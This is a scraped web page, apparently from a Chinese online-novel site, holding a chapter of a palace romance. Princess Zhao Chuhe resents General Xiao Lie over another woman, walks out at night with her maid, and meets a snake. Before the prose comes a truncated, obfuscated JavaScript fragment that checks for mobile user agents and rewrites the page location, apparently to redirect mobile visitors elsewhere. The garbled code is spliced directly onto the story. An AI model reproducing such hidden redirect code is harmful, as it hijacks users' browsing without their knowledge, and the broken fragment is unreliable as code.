0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397246|200341||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧冽的声音,“初儿……” 她根本不知道为什么要逃,只是觉着胸膛内狂跳不止,连同太阳穴也突突直跳,像是有什么东西要吐出来。 阿鸾紧跟着她,一直在她耳边说些什么,可赵初禾也听不见,直至回到了主帐,她才大口地吸了几口气。 “阿鸾,今夜不要让将军进来。” 怪不得她总觉着江念儿对她有着莫名的敌意,怪不得江念儿日日给他熬药。 原来两人缘份匪浅,对了,江念儿日日给他送膳,到底是打的什么心思? 萧冽不在京中这些年,她还担心营中条件太差,唯恐苦了他,合着他一直被人照顾的很好。 她以为的青梅竹马,原来早有人代替了她的位置,甚至对他还有救命之恩。 这算什么? 赵初禾拿过茶盏一口饮下,阿鸾看着公主失心的模样,“公主,您……” “怎么?你又要来劝我?大可不必,他跟什么人有什么事,跟我又没关系,至于他要娶谁,我也大可告知父皇,休书一封还他自由。” 赵初禾说完这番话,又怕阿鸾不放心似的,补了一句,“我没事,不用担心我。” 阿鸾拧着手中的衣袖,一个字也不敢多说,公主也不像是没事的啊…… 帐外,萧冽见婢女再次立在门口,又怎不明白她的拒绝之意,他没有立马离去,也没有让人通传。 在门口立了一阵子,便听到了赵初禾的话,如何便跟她没了关系…… 萧冽握紧双拳,连两腮都硬得发紧,他深吸了一口气,方才的冷硬全然消失,如今唯剩下了伤感。 休书一封…… 初儿,你真是好狠的心。 “不要说我来过。” “是。” 萧冽转身,长袖中灌满了寒风,背影显得格外冷寂。 怎么能什么都不问,便要休了他。 —— 赵初禾气极,夜半三更也难以入眠,软榻上翻来覆去,只觉浑身各处都不算爽利,便下地剪了烛芯。 萧冽竟然不来找她,恐怕那些人说的都是真的。 赵初禾从来未觉着如此委屈过,甚至不知道自己在气什么,她明明早已将她的心收回,明明所做的一切都是要查他的罪证。 可如今她又是在干什么?为什么听到了那些话会如此气愤,恨不得立刻离开此处,回到侯府。 不,回什么侯府,是回皇宫。 赵初禾坐在软榻之上,听着外头阵阵风声,困意全无,她披上裘衣,“阿鸾。” “公主,您怎么还不睡啊。”阿鸾守在帐外,听到公主的动静立马起身,揉了揉眼睛。 “你陪我出去走走吧。” “是。” 月明星稀,郊外的星空比城里的亮。可赵初禾此刻无意欣赏,甚至觉着有些乏味。 二人借着微弱月光前行,脚下黄土微凉。 忽而一瞬,身旁草丛一阵细碎窸窣,似有东西贴着地面滑行而来。 两人脚步猛地一顿,不约而同。 只觉一阵阴冷之气扑面而来。低头望去,一条暗纹长蛇正吐着信子,悄无声息地朝脚边逼近,鳞片在暗处泛着寒光,令人心头一紧。 “公主,别动。”阿鸾抓住了赵初禾的手臂,声音有些颤抖。 赵初禾也发觉了,呼吸也不敢太过大声,“阿鸾,好像是蛇。” “没错,公主别怕,有阿鸾保护你。”